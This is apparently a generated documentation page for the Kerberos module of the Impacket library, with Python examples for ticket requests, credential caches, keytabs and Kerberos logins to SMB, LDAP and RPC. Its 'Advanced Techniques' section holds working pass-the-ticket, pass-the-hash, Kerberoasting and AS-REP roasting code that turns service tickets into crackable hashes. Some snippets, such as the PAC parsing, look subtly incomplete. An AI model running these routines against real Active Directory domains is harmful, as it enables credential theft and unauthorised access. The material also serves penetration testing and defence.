Kerberos Protocol

Impacket provides comprehensive Kerberos 5 support for authentication against Windows Active Directory environments, including ticket management, encryption, and advanced features like S4U2Self/S4U2Proxy.

Overview

The Kerberos implementation is located in impacket/krb5/ and includes:

Ticket operations - TGT/TGS request and parsing
Credential cache - CCache file format support
Encryption - RC4-HMAC, AES128/256-CTS-HMAC-SHA1
PAC parsing - Privilege Attribute Certificate
GSSAPI - Generic Security Services API

Kerberos Flow

Kerberos uses tickets for authentication: clients request a TGT (Ticket Granting Ticket) from the KDC, then use it to request service tickets (TGS) for specific services.

Basic Authentication

Request TGT

From kerberosv5.py:97-330, requesting a TGT:

from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants

# Username as Principal
username = Principal('jdoe', type=constants.PrincipalNameType.NT_PRINCIPAL.value)

# Request TGT with password
tgt, cipher, old_session_key, session_key = getKerberosTGT(
    clientName=username,
    password='P@ssw0rd',
    domain='CORP.LOCAL',
    lmhash='',
    nthash='',
    kdcHost='dc01.corp.local'
)

print(f"TGT obtained with cipher: {cipher.enctype}")

Request Service Ticket (TGS)

from impacket.krb5.kerberosv5 import getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants

# Service principal
server_name = Principal(
    'cifs/dc01.corp.local',
    type=constants.PrincipalNameType.NT_SRV_INST.value
)

# Request TGS using TGT
tgs, cipher, old_session_key, session_key = getKerberosTGS(
    serverName=server_name,
    domain='CORP.LOCAL',
    kdcHost='dc01.corp.local',
    tgt=tgt,
    cipher=cipher,
    sessionKey=session_key
)

print(f"TGS obtained for {server_name}")

Credential Cache (CCache)

Impacket supports reading and writing Kerberos credential caches.

Load from CCache

from impacket.krb5.ccache import CCache

# Load existing ccache
ccache = CCache.loadFile('/tmp/krb5cc_1000')

# Get default principal
principal = ccache.principal.prettyPrint()
print(f"Principal: {principal}")

# Get credentials
for cred in ccache.credentials:
    server = cred['server'].prettyPrint()
    print(f"Ticket for: {server}")
    print(f"  Valid: {cred['time']['starttime']} - {cred['time']['endtime']}")

Extract TGT/TGS from CCache

from impacket.krb5.ccache import CCache

# Parse CCache for specific service
domain, username, TGT, TGS = CCache.parseFile(
    domain='',
    username='jdoe',
    service='cifs/dc01.corp.local'
)

print(f"Found credentials for {username}@{domain}")
if TGT:
    print("TGT available")
if TGS:
    print(f"TGS available for service")

Save to CCache

from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
import datetime

# Create new ccache
ccache = CCache()

# Set principal
ccache.principal = Principal('[email protected]')

# Add credential (simplified)
ccache.credentials.append({
    'client': Principal('[email protected]'),
    'server': Principal('krbtgt/[email protected]'),
    'key': session_key,
    'time': {
        'starttime': datetime.datetime.now(),
        'endtime': datetime.datetime.now() + datetime.timedelta(hours=10)
    },
    'ticket': ticket_data
})

# Save to file
ccache.saveFile('/tmp/krb5cc_new')

Encryption Types

Kerberos supports multiple encryption types.

Supported Ciphers

from impacket.krb5 import constants
from impacket.krb5.crypto import Key, _enctype_table

# Encryption types from constants.py
encryption_types = {
    constants.EncryptionTypes.rc4_hmac.value: 'RC4-HMAC',
    constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: 'AES128-CTS-HMAC-SHA1-96',
    constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: 'AES256-CTS-HMAC-SHA1-96',
}

# Create key from password
from impacket.krb5.crypto import _enctype_table

cipher = _enctype_table[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value]
salt = b'CORP.LOCALjdoe'
password = 'P@ssw0rd'

key = cipher.string_to_key(password, salt, None)
print(f"AES256 Key: {key.contents.hex()}")

Using AES Keys

from binascii import unhexlify
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants

# AES256 key (64 hex chars)
aes_key = unhexlify('e5c4d39c8f3f8b9a7e2d1c6f5a4b3e2d1c6f5a4b3e2d1c6f5a4b3e2d1c6f5a4b')

username = Principal('jdoe', type=constants.PrincipalNameType.NT_PRINCIPAL.value)

# Request TGT with AES key
tgt, cipher, old_session_key, session_key = getKerberosTGT(
    clientName=username,
    password='',  # Not used
    domain='CORP.LOCAL',
    lmhash='',
    nthash='',
    aesKey=aes_key,
    kdcHost='dc01.corp.local'
)

print("TGT obtained using AES key")

Pass-the-Hash (RC4)

from binascii import unhexlify
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.types import Principal
from impacket.krb5 import constants

# NT hash for RC4-HMAC
nthash = unhexlify('31d6cfe0d16ae931b73c59d7e0c089c0')

username = Principal('jdoe', type=constants.PrincipalNameType.NT_PRINCIPAL.value)

# Request TGT with hash
tgt, cipher, old_session_key, session_key = getKerberosTGT(
    clientName=username,
    password='',
    domain='CORP.LOCAL',
    lmhash='',
    nthash=nthash,
    kdcHost='dc01.corp.local'
)

print(f"TGT obtained with RC4-HMAC (cipher: {cipher.enctype})")

GSSAPI Integration

Impacket uses GSSAPI for Kerberos authentication in protocols.

SMB with Kerberos

from impacket.smbconnection import SMBConnection

conn = SMBConnection('dc01.corp.local', '192.168.1.10')

# Kerberos login
conn.kerberosLogin(
    user='jdoe',
    password='P@ssw0rd',
    domain='CORP.LOCAL',
    kdcHost='dc01.corp.local'
)

print(f"Authenticated via Kerberos to {conn.getServerName()}")

LDAP with Kerberos

from impacket.ldap import ldap

ldap_conn = ldap.LDAPConnection('ldap://dc01.corp.local')

ldap_conn.kerberosLogin(
    user='jdoe',
    password='P@ssw0rd',
    domain='CORP.LOCAL',
    kdcHost='dc01.corp.local'
)

print("LDAP authenticated with Kerberos")

RPC with Kerberos

from impacket.dcerpc.v5 import transport, scmr

string_binding = r'ncacn_np:dc01.corp.local[\\pipe\\svcctl]'
rpc_transport = transport.DCERPCTransportFactory(string_binding)

rpc_transport.set_credentials('jdoe', 'P@ssw0rd', 'CORP.LOCAL')
rpc_transport.set_kerberos(True, kdcHost='dc01.corp.local')

dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)

print("RPC connection established with Kerberos")

PAC (Privilege Attribute Certificate)

The PAC contains authorization data in Kerberos tickets.

Parse PAC

from impacket.krb5.pac import PACTYPE
from pyasn1.codec.der import decoder
from impacket.krb5.asn1 import TGS_REP, EncTicketPart

# Decode TGS response
tgs_rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

# Decrypt ticket
ticket_data = tgs_rep['ticket']
enc_ticket = EncTicketPart()
# ... decrypt with session key ...

# Extract PAC from authorization data
for ad in enc_ticket['authorization-data']:
    if ad['ad-type'] == 1:  # AD-IF-RELEVANT
        # Parse PAC
        pac_data = PACTYPE(ad['ad-data'])
        
        # Get SIDs from PAC
        for pac_info in pac_data['Buffers']:
            if pac_info['ulType'] == 1:  # LOGON_INFO
                logon_info = pac_info['Data']
                user_sid = logon_info['LogonDomainId']
                print(f"User SID: {user_sid}")

Advanced Techniques

Pass-the-Ticket

from impacket.krb5.ccache import CCache
from impacket.smbconnection import SMBConnection

# Load ticket from ccache
ccache = CCache.loadFile('/tmp/krb5cc_stolen')
domain, username, TGT, TGS = CCache.parseFile(
    domain='',
    username='',
    service='cifs/dc01.corp.local'
)

# Use ticket for authentication
conn = SMBConnection('dc01.corp.local', '192.168.1.10')
conn.kerberosLogin(
    user=username,
    password='',
    domain=domain,
    TGT=TGT,
    TGS=TGS,
    useCache=False
)

print(f"Authenticated using stolen ticket")

Kerberoasting

from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from pyasn1.codec.der import decoder
from impacket.krb5.asn1 import TGS_REP

def kerberoast(domain, username, password, spn, kdcHost):
    """
    Request service ticket for cracking (Kerberoasting)
    """
    # Get TGT
    user_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    tgt, cipher, old_key, session_key = getKerberosTGT(
        clientName=user_principal,
        password=password,
        domain=domain,
        lmhash='',
        nthash='',
        kdcHost=kdcHost
    )
    
    # Request TGS for target SPN
    server_principal = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
    tgs, cipher, old_key, session_key = getKerberosTGS(
        serverName=server_principal,
        domain=domain,
        kdcHost=kdcHost,
        tgt=tgt,
        cipher=cipher,
        sessionKey=session_key
    )
    
    # Parse TGS to get encrypted ticket
    tgs_rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    ticket = tgs_rep['ticket']
    
    # Extract hash for cracking (John/Hashcat format)
    enc_part = ticket['enc-part']
    etype = enc_part['etype']
    cipher_text = enc_part['cipher'].asOctets()
    
    # Format for hashcat
    hashcat_format = f"$krb5tgs${etype}$*{username}${domain}${spn}*${cipher_text.hex()}"
    print(hashcat_format)
    
    return hashcat_format

# Usage
kerberoast(
    domain='CORP.LOCAL',
    username='jdoe',
    password='P@ssw0rd',
    spn='MSSQLSvc/sql01.corp.local:1433',
    kdcHost='dc01.corp.local'
)

AS-REP Roasting

from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.asn1 import AS_REQ, AS_REP, KRB_ERROR
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue

def asrep_roast(domain, username, kdcHost):
    """
    Request AS-REP for users without pre-auth (AS-REP Roasting)
    """
    user_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    
    # Build AS-REQ without pre-authentication
    as_req = AS_REQ()
    as_req['pvno'] = 5
    as_req['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
    
    req_body = as_req['req-body']
    req_body['cname'] = user_principal.components_to_asn1
    req_body['realm'] = domain
    
    # No padata (no pre-auth)
    as_req['padata'] = noValue
    
    # Send request
    message = encoder.encode(as_req)
    response = sendReceive(message, domain, kdcHost)
    
    # Parse response
    try:
        as_rep = decoder.decode(response, asn1Spec=AS_REP())[0]
        
        # Extract encrypted part
        enc_part = as_rep['enc-part']
        etype = enc_part['etype']
        cipher_text = enc_part['cipher'].asOctets()
        
        # Format for cracking
        hashcat_format = f"$krb5asrep${etype}${username}@{domain}:{cipher_text.hex()}"
        print(hashcat_format)
        
        return hashcat_format
        
    except Exception as e:
        print(f"Pre-authentication required or error: {e}")
        return None

# Usage
asrep_roast(
    domain='CORP.LOCAL',
    username='vulnerable_user',
    kdcHost='dc01.corp.local'
)

Error Handling

Kerberos errors are returned as KRB-ERROR messages. Common errors include clock skew, pre-auth required, and invalid credentials.

from impacket.krb5.kerberosv5 import KerberosError
from impacket.krb5 import constants

try:
    tgt, cipher, old_key, session_key = getKerberosTGT(
        clientName=username,
        password=password,
        domain=domain,
        lmhash='',
        nthash='',
        kdcHost=kdcHost
    )
    
except KerberosError as e:
    error_code = e.getErrorCode()
    
    if error_code == constants.ErrorCodes.KDC_ERR_PREAUTH_FAILED.value:
        print("Invalid credentials")
    elif error_code == constants.ErrorCodes.KDC_ERR_C_PRINCIPAL_UNKNOWN.value:
        print("User not found")
    elif error_code == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
        print("Encryption type not supported")
    elif error_code == constants.ErrorCodes.KRB_AP_ERR_SKEW.value:
        print("Clock skew too great")
    else:
        print(f"Kerberos error: {e}")

Complete Example: Ticket Dumper

from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
import sys

def dump_tickets(domain, username, password, kdcHost, services):
    """
    Request TGT and multiple service tickets, save to ccache
    """
    print(f"[*] Requesting TGT for {username}@{domain}")
    
    # Get TGT
    user_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    tgt, cipher, old_key, session_key = getKerberosTGT(
        clientName=user_principal,
        password=password,
        domain=domain,
        lmhash='',
        nthash='',
        kdcHost=kdcHost
    )
    print(f"[+] TGT obtained (cipher: {cipher.enctype})")
    
    # Create ccache
    ccache = CCache()
    ccache.principal = Principal(f"{username}@{domain}")
    
    # Add TGT to ccache
    ccache.credentials.append({
        'client': user_principal,
        'server': Principal(f"krbtgt/{domain}@{domain}"),
        'key': session_key,
        'ticket': tgt
    })
    
    # Request service tickets
    for service in services:
        print(f"[*] Requesting ticket for {service}")
        try:
            server_principal = Principal(
                service,
                type=constants.PrincipalNameType.NT_SRV_INST.value
            )
            
            tgs, cipher, old_key, session_key = getKerberosTGS(
                serverName=server_principal,
                domain=domain,
                kdcHost=kdcHost,
                tgt=tgt,
                cipher=cipher,
                sessionKey=session_key
            )
            
            # Add to ccache
            ccache.credentials.append({
                'client': user_principal,
                'server': server_principal,
                'key': session_key,
                'ticket': tgs
            })
            
            print(f"[+] Ticket obtained for {service}")
            
        except Exception as e:
            print(f"[-] Failed to get ticket for {service}: {e}")
    
    # Save ccache
    output_file = f'/tmp/krb5cc_{username}'
    ccache.saveFile(output_file)
    print(f"\n[+] Tickets saved to {output_file}")
    print(f"[*] Use with: export KRB5CCNAME={output_file}")

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <domain> <username> <password> [kdcHost]")
        sys.exit(1)
    
    domain = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    kdcHost = sys.argv[4] if len(sys.argv) > 4 else domain
    
    # Services to request tickets for
    services = [
        f'cifs/{domain}',
        f'ldap/{domain}',
        f'host/{domain}',
    ]
    
    dump_tickets(domain, username, password, kdcHost, services)

Keytab Files

from impacket.krb5.keytab import Keytab
from impacket.krb5.types import Principal
from impacket.krb5 import constants

# Load keytab
keytab = Keytab.loadFile('/etc/krb5.keytab')

# List entries
for entry in keytab.entries:
    principal = entry['principal'].prettyPrint()
    enctype = entry['keytype']
    print(f"{principal} - Encryption: {enctype}")

# Get key for principal
key = keytab.getKey(
    Principal('HTTP/[email protected]'),
    constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
)
print(f"Key: {key.contents.hex()}")

SMB Protocol - SMB with Kerberos auth
LDAP Protocol - LDAP with Kerberos auth
MS-RPC Protocol - RPC with Kerberos

References

Source: impacket/krb5/
RFC 4120: Kerberos V5 Protocol
[MS-KILE]: Kerberos Protocol Extensions
[MS-PAC]: Privilege Attribute Certificate

Get Started

Core Protocols

Authentication

Examples & Tools

Advanced Topics

Kerberos Protocol

Kerberos Protocol

Overview

Kerberos Flow

Basic Authentication

Request TGT

Request Service Ticket (TGS)

Credential Cache (CCache)

Load from CCache

Extract TGT/TGS from CCache

Save to CCache

Encryption Types

Supported Ciphers

Using AES Keys

Pass-the-Hash (RC4)

GSSAPI Integration

SMB with Kerberos

LDAP with Kerberos

RPC with Kerberos

PAC (Privilege Attribute Certificate)

Parse PAC

Advanced Techniques

Pass-the-Ticket

Kerberoasting

AS-REP Roasting

Error Handling

Complete Example: Ticket Dumper

Keytab Files

References

Build docs developers (and LLMs) love

Get Started

Core Protocols

Authentication

Examples & Tools

Advanced Topics

​Kerberos Protocol

​Overview

Kerberos Flow

​Basic Authentication

​Request TGT

​Request Service Ticket (TGS)

​Credential Cache (CCache)

​Load from CCache

​Extract TGT/TGS from CCache

​Save to CCache

​Encryption Types

​Supported Ciphers

​Using AES Keys

​Pass-the-Hash (RC4)

​GSSAPI Integration

​SMB with Kerberos

​LDAP with Kerberos

​RPC with Kerberos

​PAC (Privilege Attribute Certificate)

​Parse PAC

​Advanced Techniques

​Pass-the-Ticket

​Kerberoasting

​AS-REP Roasting

​Error Handling

​Complete Example: Ticket Dumper

​Keytab Files

​Related Topics

​References

Build docs developers (and LLMs) love

Kerberos Protocol

Overview

Basic Authentication

Request TGT

Request Service Ticket (TGS)

Credential Cache (CCache)

Load from CCache

Extract TGT/TGS from CCache

Save to CCache

Encryption Types

Supported Ciphers

Using AES Keys

Pass-the-Hash (RC4)

GSSAPI Integration

SMB with Kerberos

LDAP with Kerberos

RPC with Kerberos

PAC (Privilege Attribute Certificate)

Parse PAC

Advanced Techniques

Pass-the-Ticket

Kerberoasting

AS-REP Roasting

Error Handling

Complete Example: Ticket Dumper

Keytab Files

Related Topics

References